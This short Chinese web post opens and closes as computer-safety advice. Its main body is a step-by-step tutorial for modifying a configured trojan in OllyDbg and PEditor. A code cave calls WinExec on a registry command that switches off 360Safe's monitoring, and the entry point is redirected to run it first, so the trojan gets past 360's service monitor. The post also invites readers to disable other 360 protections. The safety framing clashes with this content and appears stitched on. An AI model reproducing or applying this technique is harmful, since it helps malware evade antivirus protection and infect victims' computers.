随着网络的普及，我们的生活越来越方便，但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑，更要注意上网安全常识，不然病毒会对我们造成严重的威胁。 ASM汇编 这个是最舒服的， 用OD打开已经配置好的马， 找0区（也可以用TOPO加空段）要很大一片哦！右击， 选择“二进制”→“编辑”， 在ASCII中输入“Cmd /c REG add HKLM\SOFTWARE\360Safe\safemon /v MonAccess /t REG_DWORD /d 0 /f”记下写入命令的改动的第一个地址， 假设为401180。 再找一个小空段， 记下地址， 假设为40116A 写入： Push 401180 (也就是那个改动的地址) Call WinExec Jmp 原程序入口点（在OD右边窗口的EIP后面可以看到） 打开OC把40116A转换为文件偏移0000056A 再用PEditor打开， 把原入口点改为0000056A 这样一个过360服务监控的木马就诞生了。 （大家完全可以按照加花的步骤来写， 就是命令不同而已） 大家也可以禁用其他360的监控项目， 即使加个花都没问题， 随便大家发挥了。
上面是电脑上网安全的一些基础常识，学习了安全知识，几乎可以让你免费电脑中毒的烦扰。
|